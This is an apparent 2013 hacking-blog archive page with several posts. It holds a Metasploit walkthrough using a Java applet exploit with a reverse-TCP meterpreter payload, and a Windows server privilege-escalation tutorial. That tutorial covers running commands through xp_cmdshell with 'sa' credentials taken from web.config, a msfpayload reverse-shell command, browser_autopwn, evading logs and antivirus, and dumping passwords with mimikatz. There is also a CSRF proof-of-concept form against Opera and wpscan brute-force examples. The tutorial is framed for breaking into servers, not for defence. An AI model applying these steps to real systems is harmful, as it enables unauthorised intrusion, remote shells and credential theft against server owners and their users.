KNOX D3: April 2013

Java Applet Reflection Type Confusion Remote Code Execution

<div dir="ltr" style="text-align: left;" trbidi="on">Java Applet Reflection Type Confusion Remote Code Execution<br /><br />This module abuses Java Reflection to generate a Type Confusion, due to a weak access control when setting final fields on static classes, and run code outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This exploit bypasses click-to-play throw a specially crafted JNLP file. This bypass is applied mainly to IE, when Java Web Start can be launched automatically throw the ActiveX control. Otherwise the applet is launched without click-to-play bypass.<br /><br />Exploit Targets<br /><br />    0 - Generic (Java Payload) (default)<br />    1 - Windows x86 (Native Payload)<br />    2 - Mac OS X x86 (Native Payload)<br />    3 - Linux x86 (Native Payload) <br /><br />(1)msfconsole<br /><br /><br />(2)msf > use exploit/multi/browser/java_jre17_reflection_types<br /><br />(3)msf exploit(java_jre17_reflection_types) > show payloads<br /><br />(4)msf exploit(java_jre17_reflection_types) > set PAYLOAD java/meterpreter/reverse_tcp<br /><br />(5)msf exploit(java_jre17_reflection_types) > set LHOST [MY IP ADDRESS]<br /><br />(6)msf exploit(java_jre17_reflection_types) > exploit</div>

Java Applet Reflection Type Confusion Remote Code Execution

Java Applet Reflection Type Confusion Remote Code Execution This module abuses Java Reflection to generate a Type Confusion, due to a weak a...

+ Read more »

Hacking Windows Servers - Privilege Escalation

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVT582_aNIpGJZWE9hiYPZZMbfw0TXxjz3E2jEfYV-K7c5zl5xT-DmJerZHRYqa1QqkFpbFW-dxGqBnt_t_PWgi1sCweHCzp2IhJ9RZVycAsXpM8h0r_I1LGANxV4hbPtuUY6WlcKt1h0/s1600/hacking+windows+using+linux.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="257" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVT582_aNIpGJZWE9hiYPZZMbfw0TXxjz3E2jEfYV-K7c5zl5xT-DmJerZHRYqa1QqkFpbFW-dxGqBnt_t_PWgi1sCweHCzp2IhJ9RZVycAsXpM8h0r_I1LGANxV4hbPtuUY6WlcKt1h0/s320/hacking+windows+using+linux.jpg" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="MsoNormal">Most of us here can hack websites and servers. But what we hate the most is an error message- Access Denied! We know some methods to bypass certain restrictions using the symlink, privilege-escalation using local root exploits and some similar attacks.<o:p></o:p></div><div class="MsoNormal"><br />But, these get the job done only on Linux servers.<b> What about windows servers</b>?<o:p></o:p></div><div class="MsoNormal"><br /><a name='more'></a><br /></div><div class="MsoNormal">Here are some ways to bypass certain restrictions on windows servers or getting SYSTEM privileges.</div><div class="MsoNormal"></div><ul style="text-align: left;"><li><span style="text-indent: -0.25in;">Using "sa" account to execute commands by MSSQL query via 'xp_cmdshell' stored procedure.</span></li><li><span style="text-indent: -0.25in;">Using meterpreter payload to get a reverse shell over the target machine.</span></li><li><span style="text-indent: -0.25in;">Using browser_autopwn. (Really...)</span></li><li><span style="text-indent: -0.25in;">Using other tools like pwdump7, mimikatz, etc.</span></li></ul><br /><div class="MsoNormal">Using the tools is an easy way, but the real fun of hacking lies in the first three methods I mentioned above.<o:p></o:p></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><b>1. Using xp_cmdshell-<o:p></o:p></b><br /><b><br /></b></div><div class="MsoNormal">Most of the times on windows servers, we have read permission over the files of other IIS users, which is needed to make this method work.<o:p></o:p></div><div class="MsoNormal">If we are lucky enough, we will find login credentials of "sa" account of MSSQL server inside web.config file of any website.<o:p></o:p></div><div class="MsoNormal">You must be wondering why only "sa"?<o:p></o:p></div><div class="MsoNormal">Here, "sa" stands for Super Administrator and as the name tells, this user has all possible permissions over the server.<o:p></o:p></div><div class="MsoNormal">The picture below shows the connection string containing login credentials of "sa" account.<o:p></o:p></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-Bw2HOfccpKI/UXqcOmOxlUI/AAAAAAAAAWs/vwJhbW0-BEg/s1600/mssql+conn.+string.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="40" src="http://3.bp.blogspot.com/-Bw2HOfccpKI/UXqcOmOxlUI/AAAAAAAAAWs/vwJhbW0-BEg/s400/mssql+conn.+string.png" width="400" /></a></div><br />Using this, we can log into MSSQL server locally (using our web backdoor) & as well as remotely. I would recommend remote access because it does not generate webserver logs which would fill the log file with our web backdoor path.<br /><div class="MsoNormal"><o:p></o:p></div><div class="MsoNormal">So, after getting the "sa" account, we can login remotely using HeidiSQL<o:p></o:p></div><div class="MsoNormal">HeidiSQL is an awesome tool to connect to remote database servers. You can download it <a href="http://www.heidisql.com/download.php">here</a>.<o:p></o:p></div><div class="MsoNormal"><br /></div><div class="MsoNormal">After logging into MSSQL server with sa account, we get a list of databases and their contents.</div><div class="MsoNormal"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-2sK-173nhw4/UXqcNh5J-AI/AAAAAAAAAWc/_CQzLGOmOis/s1600/heidi+sa+login.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="207" src="http://2.bp.blogspot.com/-2sK-173nhw4/UXqcNh5J-AI/AAAAAAAAAWc/_CQzLGOmOis/s400/heidi+sa+login.png" width="400" /></a></div><div class="MsoNormal" style="text-align: center;"><br /></div><div class="MsoNormal"><o:p></o:p></div><div align="center" class="MsoNormal" style="text-align: center;"><o:p></o:p></div><div class="MsoNormal">Now we can execute commands using MSSQL queries via xp_cmdshell. (With administrator privileges)<o:p></o:p></div><div class="MsoNormal"><br /></div><div class="MsoNormal">Syntax for the query is-<o:p></o:p></div><div class="MsoNormal"><i>xp_cmdshell '[command]'</i><o:p></o:p></div><div class="MsoNormal"><i><br /></i></div><div class="MsoNormal">For example, if I need to know my current privileges, I would query-<o:p></o:p></div><div class="MsoNormal"><i>xp_cmdshell 'whoami'</i><o:p></o:p></div><div class="MsoNormal"><i><br /></i></div><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-GgtN_sahD3E/UXqcPc3mIzI/AAAAAAAAAW8/AasMUAEiBuY/s1600/query.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="111" src="http://3.bp.blogspot.com/-GgtN_sahD3E/UXqcPc3mIzI/AAAAAAAAAW8/AasMUAEiBuY/s400/query.png" width="400" /></a></div><div class="MsoNormal" style="text-align: center;"><i><br /></i></div><div align="center" class="MsoNormal" style="text-align: center;"><o:p></o:p></div><div class="MsoNormal">This shows that I am currently NT Authority/System, which most of us know is the highest user in the windows user hierarchy.<o:p></o:p></div><div class="MsoNormal">Now we can go for some post exploitation like enabling RDP, adding accounts and allowing them to access RDP.<o:p></o:p></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><b><i>Note:</i></b> If the server does not have xp_cmdshell stored procedure, you can install it yourself. There are many tutorials for that online.<o:p></o:p></div><div class="MsoNormal"><o:p> </o:p> </div><div class="MsoNormal"><b>2. Meterpreter Payload-<o:p></o:p></b><br /><b><br /></b></div><div class="MsoNormal">This method is quite easy and comes useful when we cannot read files of other users, but we can execute commands.<o:p></o:p></div><div class="MsoNormal">Using metasploit, generate a reverse shell payload binary.<o:p></o:p></div><div class="MsoNormal"><br /></div><div class="MsoNormal">For example-<o:p></o:p></div><div class="MsoNormal"><i>msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/1.exe</i><o:p></o:p></div><div class="MsoNormal"><br /></div><div class="MsoNormal">Now we will upload this executable to the server using our web backdoor.<o:p></o:p></div><div class="MsoNormal">Run multi/handler auxiliary at our end. (Make sure the ports are forwarded properly)<o:p></o:p></div><div class="MsoNormal">Now it's time to execute the payload.<o:p></o:p></div><div class="MsoNormal">If everything goes right, we will get a meterpreter session over the target machine as shown below-<o:p></o:p></div><div class="MsoNormal">We can also use php, asp or other payloads.</div><div class="MsoNormal"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-INLb6GnSNZA/UXqcPMiaPeI/AAAAAAAAAW4/AP8bYiT6B3g/s1600/meterpretershell.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="http://3.bp.blogspot.com/-INLb6GnSNZA/UXqcPMiaPeI/AAAAAAAAAW4/AP8bYiT6B3g/s400/meterpretershell.png" width="400" /></a></div><div class="MsoNormal" style="text-align: center;"><br /></div><div class="MsoNormal"><b>3. Browser Autopwn-<o:p></o:p></b></div><div class="MsoNormal">This seems odd, as a way of hacking a server. But I myself found this as a clever way to do the job, especially in scenarios where we are allowed to execute commands, but we cannot run executables (our payloads) due to software restriction policies in domain environment.<o:p></o:p></div><div class="MsoNormal">Most of the windows servers have outdated Internet Explorer and we can exploit them if we can execute commands.<o:p></o:p></div><div class="MsoNormal">I think it is clear by now that what I'm trying to explain ;)<o:p></o:p></div><div class="MsoNormal">We can start Internet Explorer from command line and make it browse to a specific URL.<o:p></o:p></div><div class="MsoNormal"><br /></div><div class="MsoNormal">Syntax for  this-<o:p></o:p></div><div class="MsoNormal"><i>iexplore.exe [URL]</i><o:p></o:p></div><div class="MsoNormal"><br /></div><div class="MsoNormal">Where URL would our server address which would be running browser_autopwn. After that we can use railgun to avoid antivirus detection.</div><div class="MsoNormal"><b><br /></b></div><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-soL_paoCfiU/UXqcMxkEr0I/AAAAAAAAAWU/CMKtk3CR88U/s1600/autopwn.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="145" src="http://3.bp.blogspot.com/-soL_paoCfiU/UXqcMxkEr0I/AAAAAAAAAWU/CMKtk3CR88U/s400/autopwn.png" width="400" /></a></div><div class="MsoNormal" style="text-align: center;"><b><br /></b></div><div class="MsoNormal"><b>4. Using readily available tools-</b></div><div class="MsoNormal">Tools like pwdump and mimikatz can crack passwords of windows users.<o:p></o:p></div><div class="MsoNormal"><br /></div><div class="MsoNormal">#pwdump7 gives out the NTLM hashes of the users which can be cracked further using John the Ripper.<o:p></o:p></div><div class="MsoNormal">The following screenshot shows NTLM hashes from pwdump7:</div><div class="MsoNormal"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-IB3vfdJsnYU/UXqcPHJkgBI/AAAAAAAAAW0/rAZr1EywAdM/s1600/pwdump.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="135" src="http://4.bp.blogspot.com/-IB3vfdJsnYU/UXqcPHJkgBI/AAAAAAAAAW0/rAZr1EywAdM/s400/pwdump.png" width="400" /></a></div><div class="MsoNormal" style="text-align: center;"><br /></div><div class="MsoNormal">#mimikatz is another great tool which extracts the plain text passwords of users from lsass.exe. The tool is some language other than English so do watch tutorials on how to use it.<o:p></o:p></div><div class="MsoNormal">Following picture shows plain text passwords from mimikatz:<o:p></o:p></div><div class="MsoNormal"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-uZowchEk4cU/UXqcN48DaKI/AAAAAAAAAWg/Y7rIx3iZjWI/s1600/mimikatz.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="175" src="http://3.bp.blogspot.com/-uZowchEk4cU/UXqcN48DaKI/AAAAAAAAAWg/Y7rIx3iZjWI/s400/mimikatz.png" width="400" /></a></div><div class="MsoNormal" style="text-align: center;"><br /></div><div class="MsoNormal">You can google about them and learn how to use these tools and what actually they exploit to get the job done for you.</div><div class="MsoNormal"><o:p></o:p></div><div class="MsoNormal"><br /></div><div class="MsoNormal">I hope you can now exploit every another windows server.<o:p></o:p></div><div class="MsoNormal">Happy Hacking :)<o:p></o:p><br /><b><br /></b><b>About The Author</b><br /><b><br /></b>This article has been written by <b>Deepankar Arora, </b>He is an independent security researcher from India, He has been listed in various hall of fames. </div></div>

Hacking Windows Servers - Privilege Escalation

Most of us here can hack websites and servers. But what we hate the most is an error message- Access Denied! We know some methods to bypass ...

+ Read more »

Stored XSS, CSRF And Clickjacking Vulnerabilities in Opera

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPnlIsTHci4K6QJ3tNl4e9xq_R-ahgqLGRV3D7KQb1SXFWfPy82CrmT4LRAYd7FAHTtpEzCdGnYUX71b3OKBJc0yRMSHXys8rOFMVmZqSj7cAyj3ZRBP5BWn7UZlPr2ICX2jS2aHcl2FU/s1600/Opera.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPnlIsTHci4K6QJ3tNl4e9xq_R-ahgqLGRV3D7KQb1SXFWfPy82CrmT4LRAYd7FAHTtpEzCdGnYUX71b3OKBJc0yRMSHXys8rOFMVmZqSj7cAyj3ZRBP5BWn7UZlPr2ICX2jS2aHcl2FU/s320/Opera.jpg" width="320" /></a></div><br />Now a days, I am not much active in bug bounty programs, However, still i wanted to share my experience with Opera, Opera does not have a bug bounty program, However they certainly have their own way of thanking researchers by sending them some swag and listing their name under Hall of fame.<br /><a name='more'></a><br />I reported few vulnerabilities to opera including a Stored XSS, CSRF and a clickjacking vulnerability. The POC's for the vulnerabilities are as follows:<br /><br /><b>Stored XSS </b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi66RLYU0oazdMmwBnYq5GHSToicyuCD8Yranre5bv09EkQ8_xA6Wt1kV-OLLyBB94J2uqWxkbMVg65ibFWTYu9RMQccqFKwXqnFDRVRgyz1dgDiVBVD4Q1xWW7NwSXHvZiXSLuOQcYaII/s1600/OPERA.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi66RLYU0oazdMmwBnYq5GHSToicyuCD8Yranre5bv09EkQ8_xA6Wt1kV-OLLyBB94J2uqWxkbMVg65ibFWTYu9RMQccqFKwXqnFDRVRgyz1dgDiVBVD4Q1xWW7NwSXHvZiXSLuOQcYaII/s640/OPERA.png" width="577" /></a></div><br />The <b>"Username"</b> input was not being sanitized properly, Which resulted in an execution of javascript.<br /><b><br /></b><b>CSRF POC</b><br /><b><br /></b>The form was missing with CSRF tokens, An attacker could have used a CSRF attack in order to manipulate the form details.<br /><b><br /></b><b>POC</b><br /><div style="font-weight: bold;"><br /></div><i><html></i><br /><i>  </i><br /><i>  <body></i><br /><i>    <form action="https://apps.opera.com/en_pk/account.php?action=details" method="POST"></i><br /><i>      <input type="hidden" name="email" value="rafaybaloch&#64;gmail&#46;com" /></i><br /><i>      <input type="hidden" name="name" value="Rafay&#32;Baloch" /></i><br /><i>      <input type="hidden" name="address1" value="f&#45;10&#44;afasf&#32;afs&#32;asf&#32;1&#44;block&#32;15&#32;near&#32;income&#32;tax&#32;office&#44;asssssss&#45;e&#45;johar" /></i><br /><i>      <input type="hidden" name="address2" value="" /></i><br /><i>      <input type="hidden" name="city" value="Karachi" /></i><br /><i>      <input type="hidden" name="state" value="" /></i><br /><i>      <input type="hidden" name="country" value="PK" /></i><br /><i>      <input type="hidden" name="zip" value="44000" /></i><br /><i>      <input type="hidden" name="phone" value="&#43;923333333333" /></i><br /><i>      <input type="submit" value="Submit form" /></i><br /><i>    </form></i><br /><i>  </body></i><br /><i></html></i><br /><br /><b>Opera Hall Of Fame</b><br /><br />So, For my findings, Opera listed my name under their hall of fame:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe5VbD0Ta4fyB1VV67MT5FNebenF2RSK5VzOOsYhLobzAglYzj5B-4S8LVPur5J_X58GekaHlT83jsSXRWzF9gaFc3ri47567GRSAJKJGD7OAkAsPFT6sQJHfdEF1V1Mqrbu4BZ2yP3g8/s1600/164685_10151461794588001_940281350_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="416" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe5VbD0Ta4fyB1VV67MT5FNebenF2RSK5VzOOsYhLobzAglYzj5B-4S8LVPur5J_X58GekaHlT83jsSXRWzF9gaFc3ri47567GRSAJKJGD7OAkAsPFT6sQJHfdEF1V1Mqrbu4BZ2yP3g8/s640/164685_10151461794588001_940281350_n.jpg" width="577" /></a></div><br /><b><br /></b><b>Gift from Opera</b><br /><b><br /></b>As a token of appreciation, they also send me the following gifts:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKafkvA1OUHtQ8SVX-54TpWznzYorWxRukMMUqhq84gwUdlBoQKp3O1db6LV247hZ_Tdw59emwWyhbUVGAhr1tiFjFYulErWOF5akFKquuWWb8PSdjT7RfxVyIFo83WEdOinQ4yQWD7ng/s1600/WP_20130417_002.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKafkvA1OUHtQ8SVX-54TpWznzYorWxRukMMUqhq84gwUdlBoQKp3O1db6LV247hZ_Tdw59emwWyhbUVGAhr1tiFjFYulErWOF5akFKquuWWb8PSdjT7RfxVyIFo83WEdOinQ4yQWD7ng/s640/WP_20130417_002.jpg" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>Opera is still sending some good stuff, I would recommend researchers to start looking opera's subdomains for low hanging fruits such as XSS, I know there is a lot of vulnerabilities out there unfixed.</div></div>

Stored XSS, CSRF And Clickjacking Vulnerabilities in Opera

Now a days, I am not much active in bug bounty programs, However, still i wanted to share my experience with Opera, Opera does not have a bu...

+ Read more »

Won Network Designing Competition At PROCOM 2013

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-DrUUy2OXJHee7QVg9dzkaWbmvfEF12KxW0Jq6oUMiNUdWQRWJ2Gx01_1n8P5t7dSLV4eFkYBX4_nTBM7kUQGChhZE2ZhvVAkdTDx38H0h6rrNp27J3tK_zOHZxyJ4FuGDfjcF8s-0mw/s1600/544372_206051142873964_1748635807_n-620x315.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="203" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-DrUUy2OXJHee7QVg9dzkaWbmvfEF12KxW0Jq6oUMiNUdWQRWJ2Gx01_1n8P5t7dSLV4eFkYBX4_nTBM7kUQGChhZE2ZhvVAkdTDx38H0h6rrNp27J3tK_zOHZxyJ4FuGDfjcF8s-0mw/s400/544372_206051142873964_1748635807_n-620x315.jpg" width="400" /></a></div><br />I am sorry friends as i haven't been able to post as i was really busy with some pentesting projects and my research. Now a days doing more learning part than teaching part. When i came in to hacking scene 6 years before, I started with Network security, but later every thing shifted to layer 7 i.e. web. So i started researching web application security. However, a since network and web work together, we cannot completely deny the network security part.<br /><br /><a name='more'></a>Recently,We participated in "<b>PROCOM 2013</b>" on behalf of <b>Bahria University karachi (Team name = White Tigers)</b> along with my two friends <b>"Mudassir"</b> and <b>"Zia khan"</b> and by the grace of Almighty Allah we managed to win the competition. Procom is the largest educational event that takes place every year in Fast University, it hosts more than 40 competition including speed programming, network designing, painting etc etc.<br /><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMkF2ShR9b2zg1s6QKcvmshMYVSM-MBb2JsLaHANpiOMxhW-ZbwB2YshqJ-DJT_xNtjCTVzwRhKhig0IsrMJZFBS10PBdsDtTGRuBZ422NWH-rM1ADfb-rOnneJcn3Ei6G6XxBVYmFmfY/s1600/305969_245864762225935_2124462853_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="175" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMkF2ShR9b2zg1s6QKcvmshMYVSM-MBb2JsLaHANpiOMxhW-ZbwB2YshqJ-DJT_xNtjCTVzwRhKhig0IsrMJZFBS10PBdsDtTGRuBZ422NWH-rM1ADfb-rOnneJcn3Ei6G6XxBVYmFmfY/s400/305969_245864762225935_2124462853_n.jpg" width="400" /></a></div><div><br />The competition was based on 5 rounds, which would test both theoretical and practical knowledge of the students. The major advantage was that lots of questions came from network security, which b.w i have been studying for few years. The things i learned from my CCNP route course also came into play and helped me a lot. My friend mudassir did really well too, he is dong his CCIE and is very sound in networking stuff.<br /><b><br /></b><b>What's Next?</b><br /><b><br /></b>Well, I would continue my research with Network and web application security, I am also writing a book on <b>"Advanced Ethical Hacking"</b>, which b/w i am hoping to finish it this year. However apart from that, i would also move to programming side and participate in <b>"Speed Programming Contest"</b> and atleast winning it once.<br /><br />I would love to hear from you the suggestions on improving at speed programming, either leave a comment or mail me directly at <b>rafayhackingarticles@gmail.com</b>.  </div></div>

Won Network Designing Competition At PROCOM 2013

I am sorry friends as i haven't been able to post as i was really busy with some pentesting projects and my research. Now a days doing m...

+ Read more »

Hijacking An Aircraft With An Android App

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFJogMQZfHYDRjPRnquok4xa2eEus-nSB2BTxPD3VPemZ31gs_pKsU6-gZtoepY9Z9kKMsW0v78UL1nSzOxlzQstJePHTNef0iZpuNYE9mRNZqrchrmMwEctCqYT4kVhZb2iYUznOcSGY/s1600/planesploit_android_app_to_hijack_airplanes_by_hugo_teso.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFJogMQZfHYDRjPRnquok4xa2eEus-nSB2BTxPD3VPemZ31gs_pKsU6-gZtoepY9Z9kKMsW0v78UL1nSzOxlzQstJePHTNef0iZpuNYE9mRNZqrchrmMwEctCqYT4kVhZb2iYUznOcSGY/s1600/planesploit_android_app_to_hijack_airplanes_by_hugo_teso.jpg" width="230" /></a></div><br />Well vulnerabilities that never going to end, or should we say vulnerabilities and new inventions walk side by side.<br />Recently a terrifying prospect, a hack that allows an attacker to take control of plane navigation and cockpit systems has been revealed at a security conference in Europe. An Android application called PlaneSploit that would allow remotely attack and hijack commercial aircraft. This app is developed by Hugo Teso, a researcher at security consultancy N.Runs in Germany who's also a commercial airline pilot.<br /><br /><a name='more'></a><br />He further added,"He explained that by building an exploit framework called Simon and a complimentary Android app that delivers attack messages, he could manipulate a plane's path as he saw fit." <br />With these vulnerabilities in mind, he used virtual planes in a lab to demonstrate his ability to hijack a plane rather than attempting to take over a real flight as that was “too dangerous and unethical.” He used ACARS to gain access to the plane’s onboard computer system and uploaded Flight Management System data.<br /><br />"I expected them to have security issues but I did not expect them to be so easy to spot. I thought I would have to fight hard to get into them but it was not that difficult," Teso said.</div>

Hijacking An Aircraft With An Android App

Well vulnerabilities that never going to end, or should we say vulnerabilities and new inventions walk side by side. Recently a terrifying p...

+ Read more »

How to Solve problem of wpscan in Backtrack 5 r3?

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: left;">Wpscan is wordpress security scanner, which is pre-installed in backtrack 5 , but it`s outdated version, so when you tried to update it, you may  have face some problems. Here is solution which work for me.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">cd /pentest/web<br />rm -rf wpscan<br />git clone https://github.com/wpscanteam/wpscan.git<br />cd wpscan</div><div style="text-align: left;">gem install bundler && bundle install --without test development<br />apt-get install libxml2 libxml2-dev libxslt1-dev<br />gem install  bundler</div><div style="text-align: left;">bundle install </div><div style="text-align: left;">ruby ./wpscan.rb</div><div style="text-align: left;"><br /></div><div style="text-align: left;"></div><a name='more'></a><br /><div style="text-align: left;">==WPSCAN ARGUMENTS==<br /><br />--update   Update to the latest revision<br /><br />--url   | -u <target url>  The WordPress URL/domain to scan.<br /><br />--force | -f Forces WPScan to not check if the remote site is running WordPress.<br /><br />--enumerate | -e [option(s)]  Enumeration.<br />  option :<br />    u        usernames from id 1 to 10<br />    u[10-20] usernames from id 10 to 20 (you must write [] chars)<br />    p        plugins<br />    vp       only vulnerable plugins<br />    ap       all plugins (can take a long time)<br />    tt       timthumbs<br />    t        themes<br />    vp       only vulnerable themes<br />    at       all themes (can take a long time)<br />  Multiple values are allowed : '-e tt,p' will enumerate timthumbs and plugins<br />  If no option is supplied, the default is 'vt,tt,u,vp'<br /><br />--exclude-content-based '<regexp or string>'  Used with the enumeration option, will exclude all occurrences based on the regexp or string supplied<br />                                              You do not need to provide the regexp delimiters, but you must write the quotes (simple or double)<br /><br />--config-file | -c <config file> Use the specified config file<br /><br />--follow-redirection  If the target url has a redirection, it will be followed without asking if you wanted to do so or not<br /><br />--wp-content-dir <wp content dir>  WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed<br /><br />--wp-plugins-dir <wp plugins dir>  Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed<br /><br />--proxy <[protocol://]host:port>  Supply a proxy (will override the one from conf/browser.conf.json).<br />                                  HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given (format host:port), HTTP will be used<br /><br />--proxy-auth <username:password>  Supply the proxy login credentials (will override the one from conf/browser.conf.json).<br /><br />--basic-auth <username:password>  Set the HTTP Basic authentication<br /><br />--wordlist | -w <wordlist>  Supply a wordlist for the password bruter and do the brute.<br /><br />--threads  | -t <number of threads>  The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json)<br /><br />--username | -U <username>  Only brute force the supplied username.<br /><br />--help     | -h This help screen.<br /><br />--verbose  | -v Verbose output.<br /><br />==WPSCAN EXAMPLES==<br /><br />Do 'non-intrusive' checks...<br /><br />  ruby wpscan.rb --url www.example.com<br /><br />Do wordlist password brute force on enumerated users using 50 threads...<br /><br />  ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50<br /><br />Do wordlist password brute force on the 'admin' username only...<br /><br />  ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin<br /><br />Enumerate installed plugins...<br /><br />  ruby wpscan.rb --url www.example.com --enumerate p<br /><br />==WPSTOOLS ARGUMENTS==<br /><br />--help    | -h   This help screen.<br />--Verbose | -v   Verbose output.<br />--update  | -u   Update to the latest revision.<br />--generate_plugin_list [number of pages]  Generate a new data/plugins.txt file. (supply number of *pages* to parse, default : 150)<br />--gpl  Alias for --generate_plugin_list<br />--check-local-vulnerable-files | --clvf <local directory>  Perform a recursive scan in the <local directory> to find vulnerable files or shells<br /><br />==WPSTOOLS EXAMPLES==<br /><br />- Generate a new 'most popular' plugin list, up to 150 pages ...<br />ruby wpstools.rb --generate_plugin_list 150<br /><br />- Locally scan a wordpress installation for vulnerable files or shells :<br />ruby wpstools.rb --check-local-vulnerable-files /var/www/wordpress/<br /><br /><div style="text-align: left;"><span style="font-size: large;"><span style="color: red;"><span style="font-weight: normal;"> If this solution does not work for you then try to <a href="http://tipstrickshack.blogspot.com/2013/07/how-to-solve-metasploit-problem-in-set.html" target="_blank">upgrade ruby version</a> & then process to installation. </span></span></span></div></div></div>

How to Solve problem of wpscan in Backtrack 5 r3?

Wpscan is wordpress security scanner, which is pre-installed in backtrack 5 , but it`s outdated version, so when you tried to update it, you...

+ Read more »

Zeus Master turned down Israel

<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHwOZ9GTJKxsVl6fr8G9K0-pSdXQJFlU55PzyA-TklA-HMgvvxrYRGpnKf5QxseKzqV4DuDQ8FKq0o8d_SSCApGFodAjTiR46CmqEQY8pxP2BxzxpsSaIiIv7xBiPRJB_1dDpnok78b4c/s1600/Algerian080113.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHwOZ9GTJKxsVl6fr8G9K0-pSdXQJFlU55PzyA-TklA-HMgvvxrYRGpnKf5QxseKzqV4DuDQ8FKq0o8d_SSCApGFodAjTiR46CmqEQY8pxP2BxzxpsSaIiIv7xBiPRJB_1dDpnok78b4c/s1600/Algerian080113.jpg" width="320" /></a></div><br /><span style="font-size: small;">Recently worldwide Hackers started #OpIsrael and targeted Israeli websites, which caused massive disruption to government, academic and private sites. According to the news/Media Israel asked Algerian Hamza the happiest hacker  to intervene to save Israel fro<span style="font-size: small;">m </span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-size: small;">the heavy losses in exchange for his release, but he refused to help them.</span></span></span><br /><a name='more'></a><span style="font-size: small;"> </span><br /><br /><span style="font-size: small;">Hamza </span><span style="font-size: small;"><span style="font-size: small;">who hacked sensitive sites in the U.S. and then arrested  by Interpol, US authorities accuse him of hacking into private accounts  in more than 217 banks and financial companies worldwide, causing  millions of dollars in losses. H<span style="font-size: small;">e <span style="font-size: small;">was arrested in T<span style="font-size: small;">hailand when </span></span></span></span></span>he was traveling with his family following a holiday in Malaysia <b>en route</b> to Cairo, Egypt.<br /><br />"The arrest warrant specifically <b>mentioned </b>that <b>bail</b> is not allowed.'' The court said. <br /><h4>About the author </h4>This article has been written by Fahad Awan, He is the newest author on RHA team.

Zeus Master turned down Israel

